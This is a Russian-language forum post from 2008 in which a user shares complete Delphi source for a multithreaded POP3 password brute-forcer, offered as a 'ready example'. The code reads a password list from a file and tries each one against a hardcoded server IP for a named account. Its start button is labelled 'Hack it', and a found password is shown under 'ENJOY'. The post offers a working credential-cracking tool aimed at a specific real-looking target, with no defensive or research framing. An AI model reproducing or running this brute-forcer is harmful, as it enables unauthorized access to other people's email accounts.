Показать сообщение отдельно

  #9  
Старый 12.08.2008, 18:41
Snik
Новичок
Регистрация: 26.06.2008
Сообщений: 15
Провел на форуме:
27936

Репутация: 13
По умолчанию

A_V,
Ну на тебе готовый пример брутера (под POP3, правда, но не суть)
Код:
unit Unit1;
 
interface
 
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
 
type
TForm1 = class(TForm)
   Button1: TButton;
   ProgressBar1: TProgressBar;
   procedure Button1Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
private
   { Private declarations }
public
   { Public declarations }
end;
 
// Описание процесса
type
TScan = class(TThread)
   sock2 : TSocket;
   addr:TSockAddrIn;
   WSAData : TWSAData;
private
   procedure CScan;
protected
   procedure Execute; override;
end;
 
var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringList с паролями
PassList : TStringList;
 
 
const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';
 
implementation
{$R *.DFM}
 
procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;
 
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
   Rez:=false
else
begin
   // Открытие и загрузка файла паролей
   try
     PassList.Clear;
     PassList.LoadFromFile(FilePass);
   except
   end;
   if PassList.Count<=0 then
   begin
     Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
     exit;
   end;
   Form1.Button1.Caption:='Stop';
   Form1.ProgressBar1.Position:=0;
   // Кол-во паролей
   Form1.ProgressBar1.Max:=PassList.Count;
   Application.ProcessMessages;
   I:=0;
   I0:=1;
   Rez:=true;
   // Запустить все процессы
   while true do
   begin
     Sock[I0]:=TScan.Create(false);
     inc(I0); // Подсчитать их кол-во
     //Выйти если больше указанного, или стоп, или подобрали
     if (I0>ProcCount)or(not Rez) then
       break;
   end;
end;
end;
 
// Проца инициализации процесса
procedure TScan.Execute;
begin
try
   // Запуск цикла
   while true do
   begin
     CScan;
     //Выход, если подобрали или закончился словарь
     if (not Rez)or(I>=PassList.Count) then
       break;
   end;
except
end;
dec(I0);
try
   Terminate;
except
end;
//Если все процессы прерваны -
if I0<=1 then
begin
   Form1.Button1.Caption:='Hack it';
   Rez:=false;
   Application.ProcessMessages;
end;
end;
 
//Проца сканирования
procedure TScan.CScan;
var
iaddr, x, I2 : Integer;
Buf : array [1..255] of Char;
 
//Отправка
procedure sender(str:string);
var
   I1: integer;
begin
   for I1:=1 to Length(str) do
     if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
       exit;
end;
 
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
   // Инициализация сокета
   WSAStartUp(257, WSAData);
   sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
   if sock2=INVALID_SOCKET then
   begin
     try
       closesocket(sock2);
     except
     end;
     exit;
   end;
   //Адрес сервака
   iaddr := inet_addr(PChar(POP3serv));
   if iaddr <=0 then
   begin
     try
       closesocket(sock2);
     except
     end;
     exit;
   end;
   addr.sin_family := AF_INET;
   // Порт сервака
   addr.sin_port := htons(110);
   addr.sin_addr.S_addr:=iaddr;
   if (connect(sock2, addr, sizeof(addr))) >0 then
   begin
     try
       closesocket(sock2);
     except
     end;
     exit;
   end;
   //Получение при соединении
   x:=recv(sock2,buf,sizeof(Buf),0);
   if (x=SOCKET_ERROR)or(buf[1]<>'+') then
     exit;
   //"user user"
   sender('user '+User+#13+#10);
   x:=recv(sock2,buf,sizeof(Buf),0);
   if (x=SOCKET_ERROR)or(buf[1]<>'+') then
     exit;
   //"pass password"
   sender('pass '+PassList.Strings[I2]+#13+#10);
   x:=recv(sock2,buf,sizeof(Buf),0);
   //Если подобралось
   if (x>3)and(buf[1]='+') then
   begin
     Rez:=false;
     Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
     exit;
   end;
   try
     closesocket(sock2);
   except
   end;
except
end;
end;
 
end.
 
Ответить с цитированием